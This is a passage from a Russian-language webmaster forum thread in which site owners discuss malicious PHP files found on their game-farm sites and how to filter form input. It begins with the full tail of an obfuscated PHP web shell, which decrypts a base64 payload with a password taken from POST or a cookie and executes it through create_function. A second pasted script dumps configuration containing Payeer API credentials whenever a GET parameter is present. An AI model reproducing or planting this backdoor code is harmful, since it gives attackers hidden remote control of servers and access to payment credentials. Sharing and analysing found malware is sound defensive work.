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
FYfjGpZcPGC5qP8J0qLz6cAZlKqy0Ed88JA=
'));$J_=isset($_POST['J_'])?$_POST['J_']:(isset($_COOKIE['J_'])?$_COOKIE['J_']:NULL);if($J_!==NULL){$J_=md5($J_).substr(MD5(strrev($J_)),0,strlen($J_));for($J___=0;$J___<15566;$J___++){$J__[$J___]=chr(( ord($J__[$J___])-ord($J_[$J___]))%256);$J_.=$J__[$J___];}if($J__=@gzinflate($J__)){if(isset($_POST['J_']))@setcookie('J_', $_POST['J_']);$J___=create_function('',$J__);unset($J_,$J__);$J___();}}?><form method="post" action=""><input type="text"name="J_"value=""/><input type="submit"value="&gt;"/></form>



Вот 2
Скрытое содержимое для зарегистрированных пользователей!

<?

@include("classes/_class.config.php");

@include("classes/_class.rfs_payeer.php");

$config = new config;

$payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);

if(isset($_GET['var'])){var_dump($config);}

if ($payeer->isAuth()){

$arBalance = $payeer->getBalance();

$balance = array($arBalance["balance"]["RUB"]["DOSTUPNO"],$arBalance["balance"]["USD"]["DOSTUPNO"],$arBalance["balance"]["BTC"]["DOSTUPNO"],$arBalance["balance"]["EUR"]["DOSTUPNO"]);

$name = array("RUB","USD","BTC","EUR");

echo "<table>";

echo "<thead><tr><td>CUR</td><td>VAL</td></tr></thead>";

$i=0;

while($i<4){

echo "<tbody><tr><td>".$balance[$i]."</td><td>".$name[$i]."</td></tr></tbody>";

$i++;

}

echo "</table>";

}else {

die("SETTINGS_NOT_VALIDIDATE");

}
 
APTEMOH
Участник
Сообщения
889
Реакции
256
Telegram
APTEMOH
  • #434
Первый нужно раскодировать, так не понятно что там :)

Второй только выводит ваш баланс, деньги не куда не переводит.
 
Bloodscreed
Местный
Сообщения
51
Реакции
3
  • #435
А как исправить битую капчу? Что то понять не могу файлы перезалил, но все равно капча не работает... блин где то дырка...
 
Bloodscreed
Местный
Сообщения
51
Реакции
3
  • #436
Все Тема закрыта с капчей! Найден был вредоносный код! Который непосредственно как сказал Wh1skas несет в себе слово (EVAL)! Нашли...... Смело удаляйте!!!
А вот вопрос так и повис как он залил на сервер 2 файла! причем первый назывался 1.php а второй z.php. Хотя назвать как угодно можно.
Если можно Наши Любимые всеми Гуру помогите нам с проблемой!
 
APTEMOH
Участник
Сообщения
889
Реакции
256
Telegram
APTEMOH
  • #437
Через дыру :)

Через форму любую. Вы везде фильтруете переменные получаемые с формы?
 
Bloodscreed
Местный
Сообщения
51
Реакции
3
  • #438
Нет! Подскажите Подскажите как отфильтровать?
 
assus
Если нужна ферма пишите. Дизайн для Ферм.
Участник
Сообщения
454
Реакции
59
Skype
  • #439
Bloodscreed написал(а):
Нет! Подскажите Подскажите как отфильтровать?
посмотри на форуме
пример:
Код:
$text = $db->RealEscape($_POST['content']);//Фильтрация
$neg = intval($_POST['neg']);//Фильтрация
$img = $db->RealEscape($_POST['img']);//Фильтрация
RealEscape - это и есть Фильтрация
 
цуацуаа
Участник
Сообщения
14
Реакции
0
  • #440
assus написал(а):
посмотри на форуме
пример:
Код:
$text = $db->RealEscape($_POST['content']);//Фильтрация
$neg = intval($_POST['neg']);//Фильтрация
$img = $db->RealEscape($_POST['img']);//Фильтрация
RealEscape - это и есть Фильтрация
куда вставлять нужно?)) будь добр подскажи "школьнику"
 
Сверху